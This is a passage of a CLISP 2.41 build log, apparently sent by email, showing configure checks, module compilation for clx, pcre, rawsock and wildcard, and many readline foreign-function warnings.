/tmp/clisp-2.41-build/clx/new-clx/resource.lisp ... ;; Wrote file /tmp/clisp-2.41-build/clx/new-clx/resource.fas The following functions were used but not defined: XLIB::CARD8->CHAR XLIB::DISPLAY-DEFAULT-SCREEN XLIB::SCREEN-ROOT XLIB::DISPLAY-ROOTS XLIB::GET-PROPERTY 0 errors, 0 warnings ../../ccmp2c clx.f > genclx.c gcc -g -O2 -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-typ= e -Wmissing-declarations -Wno-sign-compare -O2 -fexpensive-optimizations = -falign-functions=3D4 -DUNICODE -DDYNAMIC_FFI -I. -DWANT_XPM=3D1 -DWANT_X= SHAPE=3D1 genclx.c -o genclx ./genclx -l -o clx.e > clx.e rm -f genclx.c rm -f genclx cp clx.e clx.d /tmp/clisp-2.41-build/lisp.run -M /tmp/clisp-2.41-build/lispinit.mem -B /= tmp/clisp-2.41-build -N /tmp/clisp-2.41-build/locale -E 1:1 -Efile UTF-8 = -Eterminal UTF-8 -norc -q ../../modprep.fas clx.d clx.c ;; MODPREP: "clx.d" --> "clx.c" ;; MODPREP: reading "clx.d": 333,578 bytes, 8,396 lines WARNING: "clx.d":3377:XLIB:COPY-AREA: emulating signature (9 0) WARNING: "clx.d":3397:XLIB:COPY-PLANE: emulating signature (10 0) WARNING: "clx.d":3466:XLIB:DRAW-LINE: emulating signature (6 1) WARNING: "clx.d":3552:XLIB:DRAW-RECTANGLE: emulating signature (6 1) WARNING: "clx.d":3798:XLIB:DRAW-GLYPH: emulating signature (5 0 &key) WARNING: "clx.d":3807:XLIB:DRAW-GLYPHS: emulating signature (5 0 &key) WARNING: "clx.d":3813:XLIB:DRAW-IMAGE-GLYPH: emulating signature (5 0 &ke= y) WARNING: "clx.d":3818:XLIB:DRAW-IMAGE-GLYPHS: emulating signature (5 0 &k= ey) WARNING: "clx.d":5230:XLIB:CHANGE-PROPERTY: emulating signature (5 0 &key= ) WARNING: "clx.d":6178:XLIB:WARP-POINTER-IF-INSIDE: emulating signature (6= 2) WARNING: "clx.d":6198:XLIB:WARP-POINTER-RELATIVE-IF-INSIDE: emulating signature (5 2) ;; MODPREP: 492 objects, 397 DEFUNs (11 emulated), 1 DEFVAR (1 init) ;; packages: ("XPM" "XLIB") MODPREP: wrote clx.c (542,482 bytes) gcc -g -O2 -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-typ= e -Wmissing-declarations -Wno-sign-compare -O2 -fexpensive-optimizations = -falign-functions=3D4 -DUNICODE -DDYNAMIC_FFI -I. -I/usr/X11R6/include -I= ../.. -c clx.c gmake[1]: Leaving directory `/tmp/clisp-2.41-build/clx/new-clx' /usr/local/src/languages/clisp/clisp-2.41/src/lndir /usr/local/src/langua= ges/clisp/clisp-2.41/modules/pcre pcre m=3D`cd /usr/local/src/languages/clisp/clisp-2.41/modules/pcre; pwd`; \ if test -f pcre/configure -a pcre/configure -nt pcre/config.status ; then= cd pcre ; \ ( cache=3D`echo pcre/ | sed -e 's,[^/][^/]*//*,../,g'`config.cache; \ if test -f ${cache} ; then . ${cache}; \ if test "${ac_cv_env_CC_set}" =3D set; then CC=3D"${ac_cv_env_CC_va= lue}"; export CC; fi; \ if test "${ac_cv_env_CFLAGS_set}" =3D set; then CFLAGS=3D"${ac_cv_e= nv_CFLAGS_value}"; export CFLAGS; fi; \ /bin/sh ./configure --cache-file=3D${cache} --srcdir=3D$m --with-dy= namic-ffi --with-libz-prefix=3D/usr/local;\ else /bin/sh ./configure --srcdir=3D$m --with-dynamic-ffi --with-libz= -prefix=3D/usr/local; \ fi ) ;\ fi configure: loading cache ../config.cache configure: ** PCRE (Tools) checking for gcc... (cached) gcc checking for C compiler default output file name... a.out checking whether the C compiler works... yes checking whether we are cross compiling... no checking for suffix of executables...=20 checking for suffix of object files... (cached) o checking whether we are using the GNU C compiler... (cached) yes checking whether gcc accepts -g... (cached) yes checking for gcc option to accept ANSI C... (cached) none needed checking how to run the C preprocessor... (cached) gcc -E checking build system type... (cached) i686-pc-linux-gnu checking host system type... (cached) i686-pc-linux-gnu checking for ld used by GCC... (cached) /usr/i486-suse-linux/bin/ld checking if the linker (/usr/i486-suse-linux/bin/ld) is GNU ld... (cached= ) yes checking for shared library run path origin... (cached) done checking how to link with libpcre... -lpcre configure: ** PCRE (Headers) checking for egrep... (cached) grep -E checking for ANSI C header files... (cached) yes checking for sys/types.h... (cached) yes checking for sys/stat.h... (cached) yes checking for stdlib.h... (cached) yes checking for string.h... (cached) yes checking for memory.h... (cached) yes checking for strings.h... (cached) yes checking for inttypes.h... (cached) yes checking for stdint.h... (cached) yes checking for unistd.h... (cached) yes checking pcre.h usability... yes checking pcre.h presence... yes checking for pcre.h... yes configure: ** PCRE (Functions) checking for library containing pcre_compile... none required checking for pcre_get_stringnumber... no checking for pcre_config... no checking for pcre_dfa_exec... no configure: ** PCRE (Output) updating cache ../config.cache configure: creating ./config.status config.status: creating Makefile config.status: creating link.sh config.status: creating config.h configure: ** PCRE (Done) CLISP=3D"`pwd`/lisp.run -M `pwd`/lispinit.mem -B `pwd` -N `pwd`/locale -E= 1:1 -Efile UTF-8 -Eterminal UTF-8 -norc" ; cd pcre ; dots=3D`echo pcre/ = | sed -e 's,[^/][^/]*//*,../,g' -e 's,/$,,g'` ; gmake clisp-module CC=3D"= gcc" CPPFLAGS=3D"" CFLAGS=3D"-g -O2 -W -Wswitch -Wcomment -Wpointer-arith= -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 -f= expensive-optimizations -falign-functions=3D4 -DUNICODE -DDYNAMIC_FFI -I.= " INCLUDES=3D"$dots" CLFLAGS=3D"-x none" LIBS=3D"libcharset.a libavcall.a= libcallback.a -lreadline -lncurses -ldl -liconv -lsigsegv" RANLIB=3D"ra= nlib" CLISP=3D"$CLISP -q" gmake[1]: Entering directory `/tmp/clisp-2.41-build/pcre' /tmp/clisp-2.41-build/lisp.run -M /tmp/clisp-2.41-build/lispinit.mem -B /= tmp/clisp-2.41-build -N /tmp/clisp-2.41-build/locale -E 1:1 -Efile UTF-8 = -Eterminal UTF-8 -norc -q -c pcre.lisp ;; Compiling file /tmp/clisp-2.41-build/pcre/pcre.lisp ... ;; Wrote file /tmp/clisp-2.41-build/pcre/pcre.fas The following functions were used but not defined: PCRE:PCRE-NAME-TO-INDEX PCRE:PCRE-COMPILE PCRE:PCRE-EXEC 0 errors, 0 warnings /tmp/clisp-2.41-build/lisp.run -M /tmp/clisp-2.41-build/lispinit.mem -B /= tmp/clisp-2.41-build -N /tmp/clisp-2.41-build/locale -E 1:1 -Efile UTF-8 = -Eterminal UTF-8 -norc -q ../modprep.fas cpcre.c ;; MODPREP: "cpcre.c" --> #P"cpcre.m.c" ;; MODPREP: reading "cpcre.c": 15,530 bytes, 386 lines ;; MODPREP: 69 objects, 7 DEFUNs ;; packages: ("PCRE") MODPREP: wrote cpcre.m.c (47,885 bytes) gcc -g -O2 -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-ty= pe -Wmissing-declarations -Wno-sign-compare -O2 -fexpensive-optimizations= -falign-functions=3D4 -DUNICODE -DDYNAMIC_FFI -I. -I.. -c cpcre.m.c -o c= pcre.o cpcre.c: In function `fullinfo_firsttable': cpcre.c:203: warning: pointer of type `void *' used in arithmetic gmake[1]: Leaving directory `/tmp/clisp-2.41-build/pcre' /usr/local/src/languages/clisp/clisp-2.41/src/lndir /usr/local/src/langua= ges/clisp/clisp-2.41/modules/rawsock rawsock m=3D`cd /usr/local/src/languages/clisp/clisp-2.41/modules/rawsock; pwd`; = \ if test -f rawsock/configure -a rawsock/configure -nt rawsock/config.stat= us ; then cd rawsock ; \ ( cache=3D`echo rawsock/ | sed -e 's,[^/][^/]*//*,../,g'`config.cache; = \ if test -f ${cache} ; then . ${cache}; \ if test "${ac_cv_env_CC_set}" =3D set; then CC=3D"${ac_cv_env_CC_va= lue}"; export CC; fi; \ if test "${ac_cv_env_CFLAGS_set}" =3D set; then CFLAGS=3D"${ac_cv_e= nv_CFLAGS_value}"; export CFLAGS; fi; \ /bin/sh ./configure --cache-file=3D${cache} --srcdir=3D$m --with-dy= namic-ffi --with-libz-prefix=3D/usr/local;\ else /bin/sh ./configure --srcdir=3D$m --with-dynamic-ffi --with-libz= -prefix=3D/usr/local; \ fi ) ;\ fi configure: loading cache ../config.cache configure: ** Rawsock (Tools) checking for gcc... (cached) gcc checking for C compiler default output file name... a.out checking whether the C compiler works... yes checking whether we are cross compiling... no checking for suffix of executables...=20 checking for suffix of object files... (cached) o checking whether we are using the GNU C compiler... (cached) yes checking whether gcc accepts -g... (cached) yes checking for gcc option to accept ANSI C... (cached) none needed checking how to run the C preprocessor... (cached) gcc -E configure: ** Rawsock (Headers) checking for egrep... (cached) grep -E checking for ANSI C header files... (cached) yes checking whether time.h and sys/time.h may both be included... (cached) y= es checking for sys/types.h... (cached) yes checking for sys/stat.h... (cached) yes checking for stdlib.h... (cached) yes checking for string.h... (cached) yes checking for memory.h... (cached) yes checking for strings.h... (cached) yes checking for inttypes.h... (cached) yes checking for stdint.h... (cached) yes checking for unistd.h... (cached) yes checking for IPv4 sockets... (cached) yes checking for IPv6 sockets... (cached) yes checking for inet_pton... (cached) yes checking for inet_ntop... (cached) yes checking for inet_addr... (cached) yes checking for setsockopt... (cached) yes checking for getsockopt... (cached) yes checking for netinet/in.h... (cached) yes checking for arpa/inet.h... (cached) yes checking for inet_addr declaration... (cached)=20 extern unsigned int inet_addr (const char*); checking for netinet/tcp.h... (cached) yes checking for setsockopt declaration... (cached)=20 extern int setsockopt (int, int, int, const void*, unsigned int)= ; checking for sys/socket.h... (cached) yes checking linux/if_packet.h usability... yes checking linux/if_packet.h presence... yes checking for linux/if_packet.h... yes checking for netdb.h... (cached) yes checking sys/uio.h usability... yes checking sys/uio.h presence... yes checking for sys/uio.h... yes checking for sys/types.h... (cached) yes checking sys/ioctl.h usability... yes checking sys/ioctl.h presence... yes checking for sys/ioctl.h... yes checking for errno.h... (cached) yes checking stropts.h usability... yes checking stropts.h presence... yes checking for stropts.h... yes checking poll.h usability... yes checking poll.h presence... yes checking for poll.h... yes checking for sys/un.h... (cached) yes checking ifaddrs.h usability... yes checking ifaddrs.h presence... yes checking for ifaddrs.h... yes checking for net/if.h... yes checking for netinet/if_ether.h... yes checking for struct msghdr.msg_flags... yes checking for struct msghdr.msg_control... yes checking for ssize_t... yes checking size of ssize_t... 4 checking for size_t... yes checking size of size_t... 4 checking for struct iovec... yes checking for struct if_nameindex... yes configure: ** Rawsock (Functions) checking whether gethostent requires -lnsl... (cached) no checking whether setsockopt requires -lsocket... (cached) no checking for socketpair... yes checking for sockatmark... yes checking for recvmsg... yes checking for sendmsg... yes checking for htonl... yes checking for htons... yes checking for ntohl... yes checking for ntohs... yes checking for readv... yes checking for writev... yes checking for getnameinfo... yes checking for getaddrinfo... yes checking for freeaddrinfo... yes checking for gai_strerror... yes checking for endprotoent... yes checking for getprotobyname... yes checking for getprotobynumber... yes checking for getprotoent... yes checking for setprotoent... yes checking for if_nametoindex... yes checking for if_indextoname... yes checking for if_nameindex... yes checking for if_freenameindex... yes checking for endnetent... yes checking for getnetbyaddr... yes checking for getnetbyname... yes checking for getnetent... yes checking for setnetent... yes checking for getifaddrs... yes checking for freeifaddrs... yes configure: ** Rawsock (Output) updating cache ../config.cache configure: creating ./config.status config.status: creating Makefile config.status: creating link.sh config.status: creating config.h configure: ** Rawsock (Done) CLISP=3D"`pwd`/lisp.run -M `pwd`/lispinit.mem -B `pwd` -N `pwd`/locale -E= 1:1 -Efile UTF-8 -Eterminal UTF-8 -norc" ; cd rawsock ; dots=3D`echo raw= sock/ | sed -e 's,[^/][^/]*//*,../,g' -e 's,/$,,g'` ; gmake clisp-module = CC=3D"gcc" CPPFLAGS=3D"" CFLAGS=3D"-g -O2 -W -Wswitch -Wcomment -Wpointer= -arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare = -O2 -fexpensive-optimizations -falign-functions=3D4 -DUNICODE -DDYNAMIC_F= FI -I." INCLUDES=3D"$dots" CLFLAGS=3D"-x none" LIBS=3D"libcharset.a libav= call.a libcallback.a -lreadline -lncurses -ldl -liconv -lsigsegv" RANLIB= =3D"ranlib" CLISP=3D"$CLISP -q" gmake[1]: Entering directory `/tmp/clisp-2.41-build/rawsock' /tmp/clisp-2.41-build/lisp.run -M /tmp/clisp-2.41-build/lispinit.mem -B /= tmp/clisp-2.41-build -N /tmp/clisp-2.41-build/locale -E 1:1 -Efile UTF-8 = -Eterminal UTF-8 -norc -q -c sock.lisp ;; Compiling file /tmp/clisp-2.41-build/rawsock/sock.lisp ... ;; Wrote file /tmp/clisp-2.41-build/rawsock/sock.fas The following functions were used but not defined: RAWSOCK:SOCKET RAWSOCK:MAKE-SOCKADDR RAWSOCK:CONNECT RAWSOCK:SOCK-CLOSE RAWSOCK:GETNAMEINFO 0 errors, 0 warnings /tmp/clisp-2.41-build/lisp.run -M /tmp/clisp-2.41-build/lispinit.mem -B /= tmp/clisp-2.41-build -N /tmp/clisp-2.41-build/locale -E 1:1 -Efile UTF-8 = -Eterminal UTF-8 -norc -q ../modprep.fas rawsock.c ;; MODPREP: "rawsock.c" --> #P"rawsock.m.c" ;; MODPREP: reading "rawsock.c": 56,266 bytes, 1,466 lines WARNING: "rawsock.c":616: fixed object case ":DECnet" WARNING: "rawsock.c":616: fixed object case " :DECnet" WARNING: truncated a very long tag (from 2,940 to 2,000) for ("(OR NULL INTEGER (MEMBER" ("defined(IPPROTO_IP)" . " :IPPROTO= -IP") ("defined(IPPROTO_IPV6)" . " :IPPROTO-IPV6") ("defined(IPPROTO_ICMP)" . " :IPPROTO-ICMP") ("defined(IPPROTO_RAW)" . " :IPPROTO-RAW") ("defined(IPPROTO_TCP)" . " :IPPROTO-TCP") ("defined(IPPROTO_UDP)" . " :IPPROTO-UDP") ("defined(IPPROTO_IGMP)" . " :IPPROTO-IGMP") ("defined(IPPROTO_IPIP)" . " :IPPROTO-IPIP") ("defined(IPPROTO_EGP)" . " :IPPROTO-EGP") ("defined(IPPROTO_PUP)" . " :IPPROTO-PUP") ("defined(IPPROTO_IDP)" . " :IPPROTO-IDP") ("defined(IPPROTO_GGP)" . " :IPPROTO-GGP") ("defined(IPPROTO_ND)" . " :IPPROTO-ND") ("defined(IPPROTO_HOPOPTS)" . " :IPPROTO-HOPOPTS") ("defined(IPPROTO_ROUTING)" . " :IPPROTO-ROUTING") ("defined(IPPROTO_FRAGMENT)" . " :IPPROTO-FRAGMENT") ("defined(IPPROTO_ESP)" . " :IPPROTO-ESP") ("defined(IPPROTO_AH)" . " :IPPROTO-AH") ("defined(IPPROTO_ICMPV6)" . " :IPPROTO-ICMPV6") ("defined(IPPROTO_DSTOPTS)" . " :IPPROTO-DSTOPTS") ("defined(IPPROTO_NONE)" . " :IPPROTO-NONE") ("defined(IPPROTO_RSVP)" . " :IPPROTO-RSVP") ("defined(IPPROTO_GRE)" . " :IPPROTO-GRE") ("defined(IPPROTO_PIM)" . " :IPPROTO-PIM") ("defined(IPPROTO_COMP)" . " :IPPROTO-COMP") ("defined(NSPROTO_IPX)" . " :NSPROTO-IPX") ("defined(NSPROTO_SPX)" . " :NSPROTO-SPX") ("defined(NSPROTO_SPXII)" . " :NSPROTO-SPXII") ("defined(ETH_P_LOOP)" . " :ETH-P-LOOP") ("defined(ETH_P_PUP)" . " :ETH-P-PUP") ("defined(ETH_P_PUPAT)" . " :ETH-P-PUPAT") ("defined(ETH_P_IP)" . " :ETH-P-IP") ("defined(ETH_P_X25)" . " :ETH-P-X25") ("defined(ETH_P_ARP)" . " :ETH-P-ARP") ("defined(ETH_P_BPQ)" . " :ETH-P-BPQ") ("defined(ETH_P_IEEEPUP)" . " :ETH-P-IEEEPUP") ("defined(ETH_P_IEEEPUPAT)" . " :ETH-P-IEEEPUPAT") ("defined(ETH_P_DEC)" . " :ETH-P-DEC") ("defined(ETH_P_DNA_DL)" . " :ETH-P-DNA-DL") ("defined(ETH_P_DNA_RC)" . " :ETH-P-DNA-RC") ("defined(ETH_P_DNA_RT)" . " :ETH-P-DNA-RT") ("defined(ETH_P_LAT)" . " :ETH-P-LAT") ("defined(ETH_P_DIAG)" . " :ETH-P-DIAG") ("defined(ETH_P_CUST)" . " :ETH-P-CUST") ("defined(ETH_P_SCA)" . " :ETH-P-SCA") ("defined(ETH_P_RARP)" . " :ETH-P-RARP") ("defined(ETH_P_ATALK)" . " :ETH-P-ATALK") ("defined(ETH_P_AARP)" . " :ETH-P-AARP") ("defined(ETH_P_IPX)" . " :ETH-P-IPX") ("defined(ETH_P_IPV6)" . " :ETH-P-IPV6") ("defined(ETH_P_PPP_DISC)" . " :ETH-P-PPP-DISC") ("defined(ETH_P_PPP_SES)" . " :ETH-P-PPP-SES") ("defined(ETH_P_ATMMPOA)" . " :ETH-P-ATMMPOA") ("defined(ETH_P_ATMFATE)" . " :ETH-P-ATMFATE") ("defined(ETH_P_802_3)" . " :ETH-P-802-3") ("defined(ETH_P_AX25)" . " :ETH-P-AX25") ("defined(ETH_P_ALL)" . " :ETH-P-ALL") ("defined(ETH_P_802_2)" . " :ETH-P-802-2") ("defined(ETH_P_SNAP)" . " :ETH-P-SNAP") ("defined(ETH_P_DDCMP)" . " :ETH-P-DDCMP") ("defined(ETH_P_WAN_PPP)" . " :ETH-P-WAN-PPP") ("defined(ETH_P_PPP_MP)" . " :ETH-P-PPP-MP") ("defined(ETH_P_LOCALTALK)" . " :ETH-P-LOCALTALK") ("defined(ETH_P_PPPTALK)" . " :ETH-P-PPPTALK") ("defined(ETH_P_TR_802_2)" . " :ETH-P-TR-802-2") ("defined(ETH_P_MOBITEX)" . " :ETH-P-MOBITEX") ("defined(ETH_P_CONTROL)" . " :ETH-P-CONTROL") ("defined(ETH_P_IRDA)" . " :ETH-P-IRDA") ("defined(ETH_P_ECONET)" . " :ETH-P-ECONET") "))") ;; MODPREP: 247 objects, 39 DEFUNs ;; packages: ("RAWSOCK") MODPREP: wrote rawsock.m.c (208,335 bytes) gcc -g -O2 -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-typ= e -Wmissing-declarations -Wno-sign-compare -O2 -fexpensive-optimizations = -falign-functions=3D4 -DUNICODE -DDYNAMIC_FFI -I. -I.. -c rawsock.m.c -o = rawsock.o gmake[1]: Leaving directory `/tmp/clisp-2.41-build/rawsock' /usr/local/src/languages/clisp/clisp-2.41/src/lndir /usr/local/src/langua= ges/clisp/clisp-2.41/modules/wildcard wildcard m=3D`cd /usr/local/src/languages/clisp/clisp-2.41/modules/wildcard; pwd`;= \ if test -f wildcard/configure -a wildcard/configure -nt wildcard/config.s= tatus ; then cd wildcard ; \ ( cache=3D`echo wildcard/ | sed -e 's,[^/][^/]*//*,../,g'`config.cache;= \ if test -f ${cache} ; then . ${cache}; \ if test "${ac_cv_env_CC_set}" =3D set; then CC=3D"${ac_cv_env_CC_va= lue}"; export CC; fi; \ if test "${ac_cv_env_CFLAGS_set}" =3D set; then CFLAGS=3D"${ac_cv_e= nv_CFLAGS_value}"; export CFLAGS; fi; \ /bin/sh ./configure --cache-file=3D${cache} --srcdir=3D$m --with-dy= namic-ffi --with-libz-prefix=3D/usr/local;\ else /bin/sh ./configure --srcdir=3D$m --with-dynamic-ffi --with-libz= -prefix=3D/usr/local; \ fi ) ;\ fi configure: loading cache ../config.cache configure: ** Wildcard (Checks) checking for gcc... (cached) gcc checking for C compiler default output file name... a.out checking whether the C compiler works... yes checking whether we are cross compiling... no checking for suffix of executables...=20 checking for suffix of object files... (cached) o checking whether we are using the GNU C compiler... (cached) yes checking whether gcc accepts -g... (cached) yes checking for gcc option to accept ANSI C... (cached) none needed checking how to run the C preprocessor... (cached) gcc -E checking for egrep... (cached) grep -E checking for ANSI C header files... (cached) yes checking for an ANSI C-conforming const... yes checking for working alloca.h... (cached) yes checking for alloca... (cached) yes checking for sys/types.h... (cached) yes checking for sys/stat.h... (cached) yes checking for stdlib.h... (cached) yes checking for string.h... (cached) yes checking for memory.h... (cached) yes checking for strings.h... (cached) yes checking for inttypes.h... (cached) yes checking for stdint.h... (cached) yes checking for unistd.h... (cached) yes checking for mbstate_t... yes checking for working POSIX fnmatch... yes configure: ** Wildcard (Output) updating cache ../config.cache configure: creating ./config.status config.status: creating Makefile config.status: creating link.sh config.status: creating config.h configure: ** Wildcard (Done) CLISP=3D"`pwd`/lisp.run -M `pwd`/lispinit.mem -B `pwd` -N `pwd`/locale -E= 1:1 -Efile UTF-8 -Eterminal UTF-8 -norc" ; cd wildcard ; dots=3D`echo wi= ldcard/ | sed -e 's,[^/][^/]*//*,../,g' -e 's,/$,,g'` ; gmake clisp-modul= e CC=3D"gcc" CPPFLAGS=3D"" CFLAGS=3D"-g -O2 -W -Wswitch -Wcomment -Wpoint= er-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compar= e -O2 -fexpensive-optimizations -falign-functions=3D4 -DUNICODE -DDYNAMIC= _FFI -I." INCLUDES=3D"$dots" CLFLAGS=3D"-x none" LIBS=3D"libcharset.a lib= avcall.a libcallback.a -lreadline -lncurses -ldl -liconv -lsigsegv" RANL= IB=3D"ranlib" CLISP=3D"$CLISP -q" gmake[1]: Entering directory `/tmp/clisp-2.41-build/wildcard' /tmp/clisp-2.41-build/lisp.run -M /tmp/clisp-2.41-build/lispinit.mem -B /= tmp/clisp-2.41-build -N /tmp/clisp-2.41-build/locale -E 1:1 -Efile UTF-8 = -Eterminal UTF-8 -norc -q -c wildcard.lisp ;; Compiling file /tmp/clisp-2.41-build/wildcard/wildcard.lisp ... ;; Wrote file /tmp/clisp-2.41-build/wildcard/wildcard.fas ;; Wrote file /tmp/clisp-2.41-build/wildcard/wildcard.c 0 errors, 0 warnings gcc -g -O2 -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-typ= e -Wmissing-declarations -Wno-sign-compare -O2 -fexpensive-optimizations = -falign-functions=3D4 -DUNICODE -DDYNAMIC_FFI -I. -I.. -c wildcard.c gmake[1]: Leaving directory `/tmp/clisp-2.41-build/wildcard' ./txt2c -I'/usr/local/src/languages/clisp/clisp-2.41/' < /usr/local/src/l= anguages/clisp/clisp-2.41/src/_clisp.c > txt.c gcc -g -O2 -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-typ= e -Wmissing-declarations -Wno-sign-compare -O2 -fexpensive-optimizations = -falign-functions=3D4 -DUNICODE -DDYNAMIC_FFI -I. -DCOMPILE_STANDALONE -x= none -O0 txt.c -o txt ./txt > clisp.c rm -f txt.c rm -f txt gcc -g -O2 -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-typ= e -Wmissing-declarations -Wno-sign-compare -O2 -fexpensive-optimizations = -falign-functions=3D4 -DUNICODE -DDYNAMIC_FFI -I. -x none -DENABLE_RELOCA= TABLE clisp.c libcharset.a libavcall.a libcallback.a -lreadline -lncurses= -ldl -liconv -lsigsegv -o clisp test -d boot || (mkdir boot && cd boot && for f in lisp.a libnoreadline.a= libcharset.a libavcall.a libcallback.a modules.h modules.o makevars lis= p.run lispinit.mem; do ln -s ../$f $f; done) || (rm -rf boot ; exit 1) rm -rf base CLISP_LINKKIT=3D. ./clisp-link add-module-sets boot base i18n syscalls re= gexp readline || (rm -rf base ; exit 1) make[1]: Entering directory `/tmp/clisp-2.41-build/i18n' make[1]: Nothing to be done for `clisp-module'. make[1]: Leaving directory `/tmp/clisp-2.41-build/i18n' make[1]: Entering directory `/tmp/clisp-2.41-build/syscalls' make[1]: Nothing to be done for `clisp-module'. make[1]: Leaving directory `/tmp/clisp-2.41-build/syscalls' make[1]: Entering directory `/tmp/clisp-2.41-build/regexp' make[1]: Nothing to be done for `clisp-module'. make[1]: Leaving directory `/tmp/clisp-2.41-build/regexp' make[1]: Entering directory `/tmp/clisp-2.41-build/readline' make[1]: Nothing to be done for `clisp-module'. make[1]: Leaving directory `/tmp/clisp-2.41-build/readline' gcc -g -O2 -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type= -Wmissing-declarations -Wno-sign-compare -O2 -fexpensive-optimizations -= falign-functions=3D4 -DUNICODE -DDYNAMIC_FFI -I. -I/tmp/clisp-2.41-build = -c modules.c gcc -g -O2 -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type= -Wmissing-declarations -Wno-sign-compare -O2 -fexpensive-optimizations -= falign-functions=3D4 -DUNICODE -DDYNAMIC_FFI -I. -x none modules.o readli= ne.o -lreadline -lncurses regexi.o regex.o calls.o -lcrypt -lm gettext.o = lisp.a libcharset.a libavcall.a libcallback.a -lreadline -lncurses -ldl -= liconv -lsigsegv -o lisp.run calls.o(.text+0x1225): In function `temp_name': /tmp/clisp-2.41-build/syscalls/calls.c:432: the use of `tempnam' is dange= rous, better use `mkstemp' boot/lisp.run -B . -M boot/lispinit.mem -norc -q -i i18n/preload.lisp -i = syscalls/preload.lisp -i regexp/preload.lisp -x (saveinitmem "base/lispin= it.mem") ;; Loading file i18n/preload.lisp ... ;; Loaded file i18n/preload.lisp ;; Loading file syscalls/preload.lisp ... ;; Loaded file syscalls/preload.lisp ;; Loading file regexp/preload.lisp ... ;; Loaded file regexp/preload.lisp 1729784 ; 523832 base/lisp.run -B . -M base/lispinit.mem -norc -q -i i18n/i18n -i syscalls= /posix -i regexp/regexp -i readline/readline -x (saveinitmem "base/lispin= it.mem") ;; Loading file /tmp/clisp-2.41-build/i18n/i18n.fas ... ;; Loaded file /tmp/clisp-2.41-build/i18n/i18n.fas ;; Loading file /tmp/clisp-2.41-build/syscalls/posix.fas ... ;; Loaded file /tmp/clisp-2.41-build/syscalls/posix.fas ;; Loading file /tmp/clisp-2.41-build/regexp/regexp.fas ... ;; Loaded file /tmp/clisp-2.41-build/regexp/regexp.fas ;; Loading file /tmp/clisp-2.41-build/readline/readline.fas ... WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "readline" does not exist Skip foreign function creation WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_set_prompt" doe= s not exist Skip foreign function creation WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_initialize" doe= s not exist Skip foreign function creation WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_read_init_file"= does not exist Skip foreign function creation WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_add_defun" does= not exist Skip foreign function creation WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_make_bare_keyma= p" does not exist Skip foreign function creation WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_copy_keymap" do= es not exist Skip foreign function creation WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_make_keymap" do= es not exist Skip foreign function creation WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_discard_keymap"= does not exist Skip foreign function creation WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_get_keymap" doe= s not exist Skip foreign function creation WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_set_keymap" doe= s not exist Skip foreign function creation WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_get_keymap_by_n= ame" does not exist Skip foreign function creation WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_get_keymap_by_n= ame" does not exist Skip foreign function creation WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_bind_key" does = not exist Skip foreign function creation WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_bind_key_in_map= " does not exist Skip foreign function creation WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_bind_key_if_unb= ound" does not exist Skip foreign function creation WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_bind_key_if_unbound_in_map" does not exist Skip foreign function creation WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_unbind_key" doe= s not exist Skip foreign function creation WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_unbind_key_in_m= ap" does not exist Skip foreign function creation WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_unbind_function_in_map" does not exist Skip foreign function creation WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_unbind_command_in_map" does not exist Skip foreign function creation WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_bind_keyseq" do= es not exist Skip foreign function creation WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_bind_keyseq_in_= map" does not exist Skip foreign function creation WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_bind_keyseq_if_unbound" does not exist Skip foreign function creation WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_bind_keyseq_if_unbound_in_map" does not exist Skip foreign function creation WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_generic_bind" d= oes not exist Skip foreign function creation WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_parse_and_bind"= does not exist Skip foreign function creation WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_named_function"= does not exist Skip foreign function creation WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_function_of_key= seq" does not exist Skip foreign function creation WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_invoking_keyseq= s" does not exist Skip foreign function creation WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_invoking_keyseqs_in_map" does not exist Skip foreign function creation WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_function_dumper= " does not exist Skip foreign function creation WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "rl_list_funmap_nam= es" does not exist Skip 